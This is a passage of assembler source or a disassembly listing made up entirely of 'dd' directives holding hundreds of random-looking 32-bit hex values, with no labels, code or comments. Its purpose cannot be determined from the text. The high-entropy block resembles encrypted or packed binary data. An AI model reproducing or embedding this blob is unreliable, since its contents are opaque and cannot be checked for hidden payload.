0A0F97A02h, 0FE3BD8DFh, 775464D5h, 67919E1Dh dd 570BDD71h, 0EF51DBF0h, 23DAC41Ah, 59D39883h, 0ADF5A6FCh dd 198E6275h, 0C2B63C28h, 8D54ABD6h, 35512C7h, 5B25090Eh dd 0C8C798E1h, 963A9689h, 8BF32ABDh, 0AD9E70C4h, 6A849A02h dd 5404FE3h, 0A72C7967h, 4823B52h, 0F9D18BA7h, 637AE390h dd 2E860F0Ah, 8C0065CEh, 7C28C958h, 4F69C786h, 79D51AADh dd 48F9F767h, 757F3F38h, 65928464h, 0B1A87C44h, 76F05F9Ch dd 0B3582516h, 898C7E1Dh, 647ACD11h, 0D60853A0h, 2F1E8052h dd 5BD5FAC7h, 0AC96B7BAh, 99FEEAB6h, 26FF9ABh, 6DD149F6h dd 33F723B7h, 637601D6h, 0C48F046Dh, 9477532Bh, 0ABD0D8Ch dd 0EDDF413Ch, 4A45021Eh, 15C01381h, 2F8C1F36h, 40D22C1Ah dd 0D799826Bh, 7036E796h, 0A7C80D6Bh, 0C8C1649Dh, 9A294990h dd 60098702h, 42A57A0Bh, 0C521E7D4h, 0B77B3783h, 847080D8h dd 81DB7E86h, 0CE68DE5Dh, 0FF8DE556h, 0AB465E1Dh, 75A1FD31h dd 0DECACB90h, 2B5F5C6Ah, 5DD65CFBh, 0ABB60078h, 1E2F33F7h dd 4527E52Bh, 4A5D7F16h, 24992467h, 74071C9Eh, 0C31685E9h dd 9303134Dh, 8D276C9Fh, 2AA45197h, 0ADD38AEAh, 22BBD757h dd 981ABDFDh, 8F499DD9h, 34EF5A2Dh, 0C1AD5B96h, 9FBCDB48h dd 2454DAADh, 90D29CA8h, 65DF38BEh, 4C7EAF69h, 46673845h dd 0F67882EBh, 0A4D0574Ch, 910AC390h, 46E10BB6h, 3B11DA41h dd 4D104BF7h, 0C2E8E226h, 29814E7Ah, 849D1B7Dh, 0A6D7BD11h dd 6579193h, 0E4DF7BE1h, 0E83FC141h, 0F0296D41h, 0C9433D2Dh dd 0C69C1859h, 3A30006Bh, 3F50D26Eh, 77EFCC6Fh, 739E10Fh dd 97765246h, 2FEAEBE5h, 1A512B44h, 0CE85C29Dh, 1472BFEFh dd 518C4C95h, 57ED52A8h, 1C9EBDh, 0BE8EFEC0h, 6E9D29EAh dd 493FA7BFh, 0C0A4BDCEh, 3178C0CCh, 43B1B63Eh, 0C65333CBh dd 510FE3D6h, 0F41C3F0Bh, 1665A969h, 5E4A03D6h, 0DECA1D1Eh dd 4C3D0D45h, 0AA401FDFh, 9210A716h, 1EE4711Ah, 233BCBACh dd 5AAF7AACh, 0AD544FB0h, 600A4503h, 0F5C036F7h, 0CCBE4DB4h dd 9E97B91Fh, 0E39E1EFCh, 0F131D706h, 0CCBE5C96h, 0ACE44207h dd 6E7BA64Bh, 0D76C4AB5h, 6FBFDE10h, 0B78B9FCAh, 0F50BE416h dd 0A37151ECh, 6A5332D6h, 728CE78Ch, 65E21BCAh, 0B399C961h dd 19AE64C4h, 5CEF1643h, 7372B36Bh, 0E5FC27C1h, 9EBB9263h dd 0AB1B063Dh, 3CDFAF58h, 773949F7h, 40072A53h, 29D193D1h dd 0F9960D9Ch, 9E9C4B50h, 196A4FA4h, 0E2298ACFh, 0EA5830E4h dd 309C707Eh, 0EAC36619h, 0B15F7A21h, 0E833FEF3h, 0CD49779Ah dd 7B1CBD97h, 4D268A66h, 1814CBECh, 83597B4Dh, 0A7C2925Dh dd 0A963BF4Dh, 3A7BF5C4h, 1A1A4973h, 0E9F4FFBEh, 3BB1C694h dd 0B6118571h, 967B6976h, 0F95CACBBh, 3BDDC0A3h, 0F3C72057h dd 55CDD0CEh, 0B407557h, 0F3B1BE0Ch, 17A37F1Dh, 3A6DCA25h dd 0FB42F149h, 4D6F0A55h, 0C93005E3h, 48A110BBh, 4929875Bh dd 20CFC1h, 2D220359h, 0F9B95B0Eh, 73D465A8h, 3FCD0D1h dd 706BB41Eh, 0F014FF85h, 53FAC544h, 3390E6D7h, 0F0E3BA63h dd 0DED40DD1h, 0A893F6C4h, 498C42A1h, 0C0B5476Fh, 52270B62h dd 0F2A63E8Eh, 3019FAFEh, 0FC39F950h, 0F3301206h, 1284CFDBh dd 0EB64F44h, 9B0D057Eh, 425B1182h, 516900B3h, 804458ADh dd 3878D590h, 4C478D21h, 7A843317h, 0EC40BCA7h, 9EFB14Dh dd 8A18D2AAh, 0D197370Ah, 49553138h, 5629C666h, 82D0C842h dd 83A9AD4Bh, 451356F0h, 3EDC66D3h, 0C390C33Fh, 0B98FE24Ah dd 95798709h, 7D8FC859h, 6DEF6C14h, 65CB86F6h, 0D170AE9Fh dd 17D164AAh, 196E19C7h, 71F74F63h, 7A81067Bh, 19FC3DA9h dd 5DD5F0FDh, 0E997FED9h, 0A38EC7C6h, 0F80D9BEh, 6F053462h dd 434837C3h, 89F5C115h, 3CA089CCh, 4A23EB03h, 0FD922406h dd 0AB4BB52Fh, 2E733501h, 9D5D108Ch, 4636161Bh, 0EE681B3h dd 0B1719EA2h, 0AD6515A4h, 38F3BB38h, 88A861CBh, 87D0E34Fh dd 0A9505A26h, 5A621830h, 0D9223799h, 5F9D1191h, 7CE6D070h dd 6DD050C0h, 55F21184h, 0D110B121h, 0F68D8685h, 0C2E7FAC5h dd 0C309212Bh, 35B02002h, 4F7BC9A9h, 0E026F98Fh, 27575A6Dh dd 0C19498E9h, 8C0F54C8h, 0F2432614h, 717F497Fh, 90F14DFFh dd 0B0224915h, 50E19502h, 91D3EDACh, 0C2F729C6h, 559F066Ch dd 675510E8h, 0E0F6044Bh, 0BAF85FDEh, 0AD993506h, 0B695927Ah dd 0CB397823h, 0FD417F3Bh, 0E7BB474Bh, 8C78B471h, 1857361Bh dd 0BCE289D2h, 0CBF48451h, 5AD9B2D0h, 7A79808Ch, 0DA52F9A5h dd 0F32CA343h, 445668A6h, 0C509818h, 0D684049Ah, 7EE1D465h dd 0D87DE0EDh, 0ABF1DEDCh, 83275D31h, 0ADD7F5A4h, 0E25696A6h dd 0F9E291A6h, 0D42A711Bh, 9EE0DFE7h, 0C3B04BF5h, 585A4828h dd 0E77A9E85h, 0B9D15FCFh dd 0A8740CB8h, 0C5C79263h, 946018CAh, 0A3FD5090h, 33B79AA2h dd 0D8A7084h, 1A18FBE9h, 557285A0h, 8F928684h, 0C33D06ECh dd 0F36E1128h, 0F7CD58B3h, 490E8422h, 3A412674h, 13EB3059h dd 0DF376F01h, 0CE40DE87h, 495B4F08h, 0F086D912h, 69606221h dd 0CFBC37CBh, 2C92634Fh, 44B70B7Ah, 4A9FEA80h, 0D50A8330h dd 465696EDh, 1B7274B0h, 8CA35EB1h, 83DF1B5Fh, 11D9B883h dd 0FA101F53h, 0FAD087A5h, 0E0B7F88Fh, 0D8693079h, 26EB21C9h dd 5A3FCC12h, 9F562F62h, 379B97E4h, 37104659h, 5F7EACF8h dd 7B809A28h, 3471033Eh, 8D838641h, 45510D1Fh, 9108F574h dd 5B9326D1h, 5AD5288Ah, 0CAC26BD6h, 906F4C6Bh, 82BB1DFFh dd 0ED672997h, 0D1CF62E2h, 0D8FAAE28h, 82B3B73Fh, 7F06A942h dd 67465B9Ch, 0DF6EDBB2h, 0CBC68B2Ch, 5DB862D0h, 5A27D981h dd 6513CEC7h, 0F78889CFh, 0C93BFF1h, 7DEECF74h, 0AF4E2467h dd 0FB56A68Dh, 375F973Fh, 0D269E9E9h, 5BCD3D21h, 0D92D2EC6h dd 84CB82C9h, 666C7130h, 57092B4Ch, 3E3ADB88h, 8A13B9Ah dd 8360DB74h, 7E936A46h, 0EC549347h, 1D430FCEh, 14156675h dd 0F3D3C53Ch, 0BB12C957h, 39251C3Ch, 0CDB243B4h, 0A1C52682h dd 47A5FBE8h, 919D4FA8h, 0D400CD6Fh, 264D1244h, 67766F68h dd 67E1D0F3h, 0B7023092h, 0AF21F24Fh, 0D2139C0Bh, 22572097h dd 7CF0AC7h, 9BCD133Ch, 0EC020721h, 25F6Dh, 654C35C0h dd 147C0B0Dh, 0FA76B9D0h, 156FDF44h, 2ED99777h, 0B3523C6Dh dd 900E521Bh, 0F3B4FFD2h, 0AE7BF950h, 4415DB50h, 61174BCCh dd 0DF63D205h, 0F5A4D013h, 430A120Eh, 376F4CCh, 0D5370A70h dd 0FFB95C96h, 18D9A313h, 0BA03CA0h, 0B31C6E0Ch, 0C5C37D39h dd 0AEAD4A6Fh, 0A367B343h, 89E9C6E5h, 40E0798h, 163FF7C8h dd 3E929E49h, 9016A1B4h, 0FEEF4A57h, 0B7FD72F4h, 0D69A1745h dd 0DC6575Bh, 0E7AE31DBh, 0D56F0906h, 1A7E38D2h, 0A5E21FC2h dd 9607B7B7h, 9FB30D8Eh, 821FCA6Bh, 0FABCA3EAh, 0AA779F4Ch dd 4A97CC52h, 0E2D6424Dh, 9E825645h, 0D5B49233h, 5382731Eh dd 0BBAE444h, 0D1E902B4h, 0F9A85970h, 97D02160h, 0C8AC7D9Bh dd 529E0E90h, 0F5826DFBh, 160CC28Eh, 0EFD7F7B3h, 0AB31E41Dh dd 151A1564h, 1E35EF4Ah, 0BA199A88h, 0D6D42454h, 0D10E8B27h dd 0A4ECD24Ch, 0DF13A799h, 98A0FB9h, 61002D2Ah, 92DE1FFEh dd 3DA7BFD6h, 0B2F65A40h, 18DD6F4h, 58F81D2Eh, 0A57D42BBh dd 0D50D6702h, 0A12E3DB8h, 4F2C7EA4h, 64801AB6h, 59194A86h dd 320204D1h, 0E4D9B5EEh, 3C2801BCh, 0FEA0B3C8h, 0F2F3B1D2h dd 12629DB1h, 8EF5A873h, 752591E4h, 0E254D84Dh, 8117E5D5h dd 28416A10h, 4C7A5D4Fh, 0A278F1CCh, 298452E6h, 954073DEh dd 5D6F98F9h, 9458DEF0h, 42B7CD29h, 70A5322Ah, 0F251C8EFh dd 0CC14C88Eh, 0A84BAEADh, 0D0EC5681h, 7894E6ECh, 243C0323h dd 0B621C243h, 0EE26F70Ch, 301B3047h, 0FA5201Bh, 0B470E8F6h dd 0C9A5DD9Eh, 63A8AF2Ah, 1F59B587h, 6EFDFD43h, 799DDD6Bh dd 187BA621h, 5D9706B9h, 0E9775807h, 237E8A29h, 0CF7920C7h dd 0FF100DFh, 33A6381Dh, 111ADC7Ch, 606E0A79h, 28CD2C55h dd 6C5F44ADh, 73A2C4FCh, 0F27E5D6Fh, 2F537CB8h, 6F3B7C02h dd 62F8EABCh, 7BF0D524h, 8A57EE5h, 4613E99Bh, 63F80B1Bh dd 0C1A2F7A7h, 0C8A70B81h, 4634795h, 57073564h, 1C28916Ch dd 1D3D908Dh, 3DB5303Dh, 0D47C07Dh, 8DBB995Ch, 0AC5132BFh dd 57F020D8h, 9503FC29h, 923A9683h, 18B69F69h, 0C747046Fh dd 30E6EC1Dh, 0C6BD37D1h, 8B930954h, 0F5353C5Eh, 0FED25E5Ah dd 0D3B3CB69h, 11DB0CDEh, 80D67469h, 79E95D1Ah, 771C011Ch dd 0E1629A83h, 8CA2EB1Eh, 533CA33Eh, 0C396F165h, 44366CC5h dd 64DB708Bh, 7225CF93h, 0C9B71263h, 0CC2E3AE7h, 82A8CF26h dd 98E569BFh, 0FF397480h, 2CB407FFh, 85F97984h, 41E9E439h dd 0AF0A8B7Eh, 3D88ABACh, 9FE46450h, 0B18999E5h, 0BCF187E5h dd 935417D8h, 8256C0B4h, 0D66F4EF1h, 0E9F08523h, 30BD51ADh dd 0B884209Ah, 0DC8BC8B8h, 42178D9Ah, 0D9696926h, 0A48D6515h dd 57FDD5B8h, 0FC29C5CDh, 0A479B86Bh, 0AA2059EAh, 447D7BC8h dd 54B52D9Eh, 8386DA26h, 8382A679h, 0C581D26Bh, 0FE05241Fh dd 0E3753DC5h, 91C52B7h, 0DDB0A8F7h, 0D9625424h, 3B02B629h dd 1222A1EFh, 86FD3812h, 489F3D68h, 8AC37CA6h, 2886D9D3h dd 5E384FA3h, 0FA858C5h, 0AACFA24Bh, 6EE097FCh, 0DC345355h dd 0ECC21375h, 0BEA49686h, 7B1FC531h, 3D4D79EEh, 0F274A530h dd 61F9F5F1h, 4844D0FFh, 0E52032D3h, 53FF87Bh, 0F78FB131h dd 10AE3AB6h, 0A9B4FE1Ah, 0E649CAF6h, 0BA938B8Ah, 0AF1CEE2Fh dd 4F09364Eh, 0BB56360Ch, 59CE4D2h, 0A683D63Bh, 0E6B02D30h dd 34613545h, 7148669Ah, 0F713A937h, 0A8447CFEh, 73567F9Ah dd 7DFDE5Fh, 6AA2C957h, 7F6B8761h, 9F19DD26h, 6276A03Bh dd 4A3B36C4h, 0F2D0E3C9h, 0E7D7CBB7h, 3BAF8B67h, 3D937341h dd 1A00BED6h, 0E55578ACh, 724844B3h, 0CF1C885Eh, 0A2846F03h dd 2A8DEE13h, 1B2BA605h, 191F40DFh, 2DEAFC51h, 20CFEBD5h dd 5521FB1Ch, 1C5136E7h, 761F2AA5h, 575280FAh, 8FDFF228h dd 636F6BC0h, 8893B72h, 8777AA67h, 0C89B130Ah, 0DBE58E7Fh dd 0BADFA15Ah, 7A0FE6CCh, 830ADAF4h, 0AC252CFCh, 986A7637h dd 2881558Ch, 0D5FC3CECh, 0A57AD32Eh, 417174BAh, 1E678201h dd 97F7AF23h, 7276162h, 0F7DAA7C5h, 2F4E7C24h, 53DEC17Fh dd 0E1D74938h, 29E6CFB2h, 6F9C5EC8h, 0FDA27FE9h, 3642FCADh dd 96CCAA68h, 6D7EF4D1h, 777A6E9Eh, 8DF571A4h, 0BEAACF05h dd 730991AAh, 0A1CB7A80h, 8F52AF14h, 0D9209A4h, 1F51C8Ch dd 7DACBFDh, 38C65385h, 0B6F1739h, 825631FEh, 2FAEC76Ch dd 96971AB0h, 0B5B17115h, 0A295C81Dh, 9069FDA4h, 83B1F38Ah dd 5613C56Ch, 0A9765A6Ah, 507E7308h, 0E87AD774h, 447CF0CFh dd 96FF61A7h, 0BF855739h, 53630E18h, 10332A21h, 83474F80h dd 0F7B4F74Dh, 3349387Bh, 18C00883h, 0AEE3423Ah, 96BBB668h dd 3D94CC5Eh, 63A9966h, 9FC1CE98h, 13176F18h, 514CB858h dd 219B1C06h, 8B7E9EDDh, 42188AD5h, 1E27B311h, 1C7E87EFh dd 355E7815h, 0E822E31Bh, 79C9088Ah, 610680Eh, 5B244C9Fh dd 3C31B866h, 390592EAh, 7BC5D5DCh, 0BBAD52B2h, 5968F7E4h dd 0EC711586h, 0C2F05236h, 0D922D123h, 9C648FFBh, 0C272B3FBh dd 0D8BB7C51h, 0A70B10B8h, 0D9D6E2D1h, 38782F39h, 9DD98D22h dd 0E867006Ah, 0B1FDD740h, 2AB7DCCAh, 118A11B0h, 18980B73h dd 0D4B28D6Fh, 0BEFE8962h, 92C0149Dh, 72CA021Fh, 0EE4D4F37h dd 0A4BC9461h, 31C83657h, 2785A049h, 0E1303F39h, 0FDC0BE9Bh dd 409BBF06h, 74E6F113h, 2FD06E20h, 0B0140DCBh, 3F4E604Fh dd 5DE175FAh, 760AEA40h, 0D7400CD0h, 4F39D69Dh, 1B669488h dd 9AE0EEADh, 72C1B351h, 60E0F486h, 0A2E0D552h, 6BE310A2h dd 0C1631E0Fh, 31DB05A6h, 0D2E6DCA9h, 5C3E72A3h, 0E0576BBAh dd 349BC808h, 3690172Fh, 0DF3EBB4Dh, 3B208E73h, 0D4A10915h dd 5D5B8353h, 0FD850F91h, 2DE0F5B0h, 755A263Ch, 2832A87Dh dd 0CE6BAB2Fh, 46F2FC90h, 8D025E05h, 96BD6195h, 9E7626E0h dd 88A72828h, 0D316F23Fh, 57F4CCC2h, 733F0EDCh, 0D95B3112h dd 0CCEB5FFCh, 5AA74838h, 5DA14B75h, 6251143Dh, 682A2D34h dd 263CC90Bh, 2DF52686h dd 0EE6A191Dh, 0A2D09831h, 1B649DE5h, 787F9204h, 0EF6FA6Bh dd 7F2B8063h, 0D348331Bh, 0F12AA95Bh, 80AA9778h, 196A0D96h dd 0BF790695h, 4C14CEF1h, 15295503h, 990196E4h, 2220F091h dd 0CB62B7DDh, 0C8E96A69h, 0CE801901h, 0B77C4417h, 0E15B7A3h dd 40379088h, 0F7DED6EFh, 7928D12Ah, 782937A8h, 0DC5235A4h dd 4A60C227h, 9DE5095Bh, 0BA80ABC7h, 0D5E085E5h, 5F726550h dd 0DE2ED39h, 4BC33491h, 0C6B51019h, 69E00CB2h, 19B54822h dd 5EC0A364h, 0C6E45AD8h, 0EE0F48BBh, 0A7919088h, 8BE660D6h dd 718D3EFEh, 0B77AB012h, 7348C0D7h, 31CBE1D2h, 0DDBBD093h dd 0BDC849ACh, 0E5052AC5h, 0C070108Bh, 4DE0CC3Ah, 80B84AAh dd 503ECED1h, 0B9349089h, 0F786335Fh, 18876FA5h, 0CA8CB5BFh dd 819B2A7Ah, 8A8D2CCFh, 0B0D44693h, 0B030CC8Dh, 498AACh dd 0E4063557h, 4615BD86h, 510431DDh, 9E569262h, 0C58AD6EEh dd 0B321A137h, 2A230E61h, 5D55AC47h, 0E0EBDF48h, 0B6201FF3h dd 0B630A52h, 35C0EFFh, 8B3BC92Ah, 9CA3F4B9h, 7BE6B201h dd 95C6E739h, 96BC4864h, 525A0C56h, 564CB756h, 3A3381B9h dd 1F1AFB5Bh, 3252A066h, 7D0560A3h, 33222678h, 0B21D29E7h dd 3E41F259h, 23B34CEFh, 0C8E7CECBh, 0C9089117h, 6129AFFFh dd 5D2EF03Fh, 77E29F75h, 0A2F5AA32h, 65E3F834h, 382DD68Ah dd 0D69F83C6h, 1F8C5EBDh, 5E006561h, 0E5DFAC4Dh, 87501D50h dd 0F13C07C5h, 9DA234h, 0EC175C32h, 0AE2851CCh, 8FC6DCB2h dd 4E3563F5h, 0BC2D77A3h, 190B0569h, 0D720F94Ch, 8C1824C2h dd 469FAB80h, 0B15B3453h, 256D3C2Ch, 0DC197DDDh, 0CE55D1F9h dd 0CA7FFEDBh, 1EF4F434h, 84764430h, 0F0451BC2h, 241E135Ch dd 0BEAE8753h, 0D86998DDh, 46C0F5A9h, 257B9D3Ch, 64772B18h dd 75F238A3h, 4FE7F741h, 0EF52B3ACh, 0D97C68Ah, 11F2397Ah dd 0A0284A47h, 97300A53h, 0BFC10E42h, 450B2675h, 3C7E9E10h dd 40CDF0DDh, 7DA46C3Bh, 0B16ABA30h, 49E26BC4h, 61E5B35Bh dd 0EDF33E56h, 9739F94Fh, 72809AC3h, 0D1CACF2h, 6DFB61FCh dd 0FADF1BB5h, 0DBB1C6CDh, 0C6E5F74Dh, 9ECDF07Fh, 4E26C613h dd 17D2DAD4h, 90BC33D4h, 83B6B798h, 3237813Bh, 0CA98E9DBh dd 0E65A9B07h, 8C56AC04h, 40687921h, 0F0DD9700h, 0A04FA38Ch dd 2C6D4E9Bh, 351FD72h, 0AA566843h, 91863B55h, 3B2A16C1h dd 88FEBAB6h, 0DDF6D8F0h, 73CA162Dh, 4065FDC3h, 0B854F24Ch dd 4EEE4FE6h, 0E5B1A14Ah, 0A809275Eh, 0B217FDCBh, 67E19F05h dd 83822D91h, 0AF78A14Fh, 1848BB6Dh, 0E8637720h, 0F55F2F3Eh dd 15896C47h, 996D016h, 328D1DD7h, 508D656h, 4EC426D9h dd 133C099Ah, 0E1C46D0Ah, 0E81119EEh, 8C37AEF1h, 439639D6h dd 7A1AB7FAh, 637E936Eh, 0CD2F1669h, 0B3F1418Bh, 93C2FEBEh dd 0BC20A456h, 0B0EA9341h, 0CCD3BDF7h, 0FAA59951h, 653EB67Ch dd 5648CDEAh, 0BEA5AA59h, 4A7193F1h, 63441741h, 6C4B7058h dd 5697E049h, 0D3AA8946h, 7513AAB1h, 82D0E4DFh, 0DD4F5A24h dd 1BCEE784h, 9FA67E8h, 6A8508ACh, 37EDE2FDh, 2C5D4B21h dd 4BD4CAACh, 82D131Ah, 1CB6EF8h, 0ACD350BAh, 2E3070B6h dd 5F0B925Dh, 0B653EC04h, 8D2893h, 0DAE806C2h, 1554913Fh dd 0DB73C42Eh, 0DBEC7FEDh, 0A4DE2500h, 0E0C613EDh, 8AFBC20h dd 0E83F593Ch, 0D07F564Bh, 4C855DEFh, 10B6225Ah, 0B37B17F2h dd 0CEB5D541h, 54A3D159h, 799050C9h, 0DBD75186h, 73231751h dd 84B132AFh, 2C10451Dh, 0E6DD5219h, 0F6A620ABh, 1790D50Ch dd 8A2A73ACh, 0F18B0388h, 0A66CEF79h, 0FDB8014Dh, 785CD7D2h dd 96B9142Ch, 3D9BAD7Dh, 10A1033Fh, 0B33024B3h, 5026CD4Ah dd 1CEE34A8h, 450980Ch, 0ADF3D8B9h, 62867A28h, 71722263h dd 88F7125Bh, 3AB13C79h, 37B89916h, 0C530F658h, 3CF2EDF8h dd 51347A57h, 990F0BF4h, 599AC340h, 19B6565Ah, 99521549h dd 0F1DEB0C6h, 4C5087F1h, 8DFD7A7Fh, 2A7460F5h, 0E2E6406Dh dd 0F3FDB99Dh, 91A09197h, 4C4D566Fh, 179292EAh, 104F57C9h dd 0C3A42595h, 52A5CA3Eh, 9FC48D5Eh, 0BBF1E9C5h, 55CB26FBh dd 9E1235D1h, 0C146F5F9h, 0D76C3070h, 223E85E8h, 8131D9CBh dd 0EB5C7A9Fh, 0B1C423A7h, 0ABF01238h, 0D056BC4Ah, 0F912D90Eh dd 0E56D165Ch, 170E7DFAh, 0DF3BB250h, 5AC6EFF4h, 7953F143h dd 0F2BCDF5Ah, 9638C9C8h, 0F0311507h, 4607B090h, 8A4523CEh dd 2FD03CACh, 0E7507640h, 0F68EEE8Eh, 14C48C1Fh, 93D6022h dd 32D935CDh, 852C4A59h, 8EDC1CDFh, 0B321AE9Bh, 0B1D4B089h dd 3A0AEh, 98327A51h, 7DA28006h, 71126292h, 6E57ADC2h dd 0CFB703BFh, 32AF5EEEh, 0D3C7FB0Dh, 5C39A3F1h, 60EB9215h dd 0F6943C5Ch, 16431907h, 0AD623656h, 0F131CDFCh, 72A5EA52h dd 0E092B3F7h, 966CE743h, 0C00D485Bh, 0FB67E90Fh, 0BF0A942Eh dd 30C854DFh, 8B8BAB5Eh, 5B5E562Dh, 8E3B55CDh, 84CA2902h dd 0F7A8C88Dh, 0AC7754B8h, 0BDB31C4Ch, 35207C45h, 53A9A5A2h dd 0F65C3075h, 0C2A74FBFh, 0EA7564E3h, 0B25796B5h, 5B16024Eh dd 10B586FAh, 10FC6E31h, 29CFEA00h, 96568C69h, 52F5120Fh dd 0EF0823CBh, 8A2E7749h, 792DD82Ah, 0C1BB3D6Ah, 161E5656h dd 9344B8BAh, 0E38013Ch, 8FF21EA2h, 92670542h, 8BFB9C1Ch dd 0CCA7C0A7h, 93E92DE2h, 28D4DA35h, 8B03CD4Bh, 403725DCh dd 0A6654C9Bh, 95D724B6h, 14D83935h, 0E8450BF2h, 9B9A6DF7h dd 446E0991h, 0D0B43272h, 0DB2FF613h, 2082C4FCh, 55714AFFh dd 954AB236h, 0B6966CE2h, 0CDD9E656h, 39477C54h, 207ACDBBh dd 0FE0EB330h, 57DB7B59h, 3FF242B7h, 0D976776Fh, 572E7A34h dd 0B5669967h, 0F0208618h, 0FEF804B8h, 0F49CDB1Eh, 8423059Fh dd 0A973B342h, 0B8755218h, 0CCF8312Dh, 0FE47B6A3h, 2A474CF0h dd 0F93B2193h, 5D1AC0D1h, 0A66414A5h, 0F6A3554Ch, 0F1BFC32Dh dd 4921BEE2h, 77ABC35Ch, 0F64CB1C7h, 0C3B8FFC2h, 5647C8DAh dd 0CFA09578h, 91530060h, 6C4C8BD1h, 60626ABAh, 1554A78Dh dd 0C0012BF6h, 0A1C1ECC1h, 86DBBA19h, 15527B4Fh, 82F15192h dd 21587771h, 0AE29DF3Bh, 2E49871h, 0CCD71654h, 794B18Ah dd 0FD0EB727h, 0C00C3D99h, 0C26BA142h, 0ADD84237h, 0C62C148Eh dd 0FE395F46h, 11E668D7h, 0DBE1DC2Bh, 6E24770Dh, 0E712B320h dd 0A2DED479h, 52A17022h, 4746FBFFh, 73BBDCF6h, 5224876h dd 37ACB28Ah, 7643E754h, 0E1C5E30Fh, 0AE647D9Fh, 4D5D820Fh dd 0EAE46E6Ah, 3F6092FBh, 936E6A33h, 246B8261h, 0E0BDABE7h dd 9F9F28CEh, 2434F4Eh, 0BB67863h, 0F0583C22h, 0FA056A6Dh dd 2B64637h, 52D74DBFh, 0D2B9593Fh, 0A2A5FE95h, 0A24A1703h dd 0AF5B0218h, 0D24E053Ch, 0B811A722h, 4227CAB0h, 0C9BCF18Dh dd 5C79D752h, 0E0A4EB84h, 0B78508AFh, 0D200E7C5h, 0A7045509h dd 0B0112103h, 0B274BB7Fh, 972E14EAh, 900B37F4h, 371535E9h dd 0B23E8ACCh, 47ED32B8h, 6DA48D20h, 9F2F58B2h, 360C9B95h dd 93CA5058h, 51716E4Ch, 0DED4A185h, 0B7F2F680h, 4DF8CCD9h dd 666DBD65h, 6AA347CEh, 0B664416Ah, 0DE8FAB26h, 12280368h dd 7CCC3117h, 3C5BCA50h, 58E3DDDFh, 9D2841Fh, 40E71E3Fh dd 9B5486D5h, 0FA6C331h, 85DA5FA6h, 7F2B2CE6h, 28F51B3Ch dd 1C185BA2h, 0A2863CB4h, 0EFB908B3h, 7C7189B7h, 0DE056D6Ah dd 0DD8BB23Dh, 0A7F014C3h, 0FC5361ECh, 0BDF7082Dh, 0A78A3CC8h dd 0C1611D56h, 341858C3h dd 33435869h, 0FD3FFBDCh, 56FC8129h, 86E608Bh, 0F338D5F6h dd 4E0284CBh, 4C214A15h, 0BD2E4425h, 4FE03A17h, 54EEDDF3h dd 78145590h, 7E166503h, 0C97093B5h, 3EFC1C7Eh, 5D4B9F02h dd 0B8F63BD1h, 0FF760EB4h, 0B1C195A3h, 77A06BA3h, 2E353586h dd 2124CA5Bh, 0E76FBEB5h, 8F95DD4Ah, 0CA4F38EDh, 3B2139C4h dd 3D6BCBA4h, 188EE56h, 53643B02h, 8DC20FC2h, 51BDB480h dd 0ED36A099h, 0C92E3877h, 85DC6B81h, 0AFC869A8h, 610738FCh dd 90624658h, 53CA8A79h, 0B3CC9029h, 0E7585A78h, 8A255137h dd 7A769712h, 9ED58771h, 0D8E535D4h, 55A34E12h, 77110CB4h dd 0E5C46A7Eh, 0A6DB8C00h, 0F8B82CC5h, 48BCD517h, 7C5C2533h dd 0A5CE8B52h, 1BAD8CCDh, 58E377C5h, 8A51F12Ah, 86915E13h dd 5E4DF4FDh, 3A5FBE50h, 78A97CE0h, 7503EDBh, 0DF939163h dd 2CD5B3F5h, 768832E3h, 674FA904h, 5627484Fh, 5641702Fh dd 28FFDF67h, 0E7A25EB5h, 28941ADDh, 13FEFE01h, 674AF041h dd 4FB53B0Ch, 0B802553h, 0A51E557Bh, 0E7B82E90h, 347C9515h dd 710C96B2h, 0F7AAB123h, 0A8B880F4h, 0F33D7999h, 0C71E62A1h dd 0CADFC8D7h, 4FA34820h, 0F7725C86h, 6E81A06Bh, 50FF16ECh dd 0EF0993DDh, 0E5DFB3B1h, 0BA1FC764h, 0FD551D46h, 0FA7AEDD6h dd 0D5751333h, 9E2ED0F3h, 9057C27Fh, 0EBC9475Ch, 4BEAD2A9h dd 192B2CADh, 51EB6166h, 0DF4658DEh, 849DBA5Bh, 595392B5h dd 1C302A78h, 8F6B4430h, 6F7EEE78h, 2DDE9F3Dh, 5C19EA7Ch dd 3EFB1E64h, 63B8FE33h, 9E1A6D77h, 924CF673h, 0C37DC028h dd 8D289CA8h, 0B6F3B592h, 4B0B6D10h, 0E1BE75F7h, 7986B098h dd 0B21A08B9h, 0E04CC059h, 2F4C4ADFh, 1FD06A66h, 72591575h dd 0B3392510h, 0B38E5796h, 3AC9EFE2h, 127767BFh, 0A05EAE96h dd 5B6E3816h, 6C52E5DCh, 88245A02h, 58614292h, 730EF0B6h dd 2DB39BDAh, 84F77F6Fh, 0BC564E93h, 1625D5C6h, 0D5A5C3FEh dd 0F2717030h, 7AC6132Bh, 0C29CD7F2h, 0BF2E6F96h, 0DFFAC401h dd 0B71A5717h, 0A61E1DA5h, 802B5D01h, 0AA6EF8FCh, 0A82C14BFh dd 0C8D663AFh, 44352B96h, 8F6D583Bh, 1FE9340Dh, 70C83592h dd 47E537F9h, 84FD919Ch, 0EB418989h, 41176453h, 9487573Bh dd 0E03BBE44h, 78475EF2h, 0F1E2C534h, 0D5695DDAh, 0B52495D9h dd 48FCA7D4h, 9FD94F88h, 0C1E4E0Bh, 94C47C12h, 0A5676313h dd 214C279Fh, 501A7B1Dh, 3D2142B8h, 0FC15CC29h, 34D8F71h dd 75E5A92h, 5623A758h, 10D34D1Ch, 36A91D18h, 310CBE26h dd 38B14DB3h, 4EDB419h, 8078B610h, 0BE3FEF4Dh, 0A65BE959h dd 0F5697327h, 0CA446AE7h, 0B28F0554h, 5CCE0DC3h, 36C0A945h dd 735C7662h, 8FBD6605h, 0E90AD5BFh, 697ABF6Ch, 7160A1EFh dd 6EBBB52Dh, 56FDED77h, 0F1E43B2Fh, 6733E506h, 8369002Dh dd 4BAD5839h, 8B6E17CEh, 4730FD4Dh, 0DC933962h, 1C8257ABh dd 0AE1FA5F4h, 7531025h, 755E8486h, 0BFEB4549h, 439A7834h dd 350011A6h, 37AE20FCh, 0DF866124h, 0D1585F68h, 1C61B0B9h dd 8B4A9378h, 8947526Eh, 42F6A021h, 0C965A6E8h, 9EA681E8h dd 48D2E514h, 0BE19702Dh, 8B9C516h, 7146991Ah, 0A850F329h dd 37744748h, 0EBDF3F3Ah, 34F2B07Bh, 6257E66Eh, 851CC6BFh dd 2C1FDC17h, 247C7827h, 0F7925E32h, 77447D2Bh, 82573E06h dd 3D0EEF56h, 0C4A095B5h, 0E37255Fh, 8968D6D5h, 2266EB05h dd 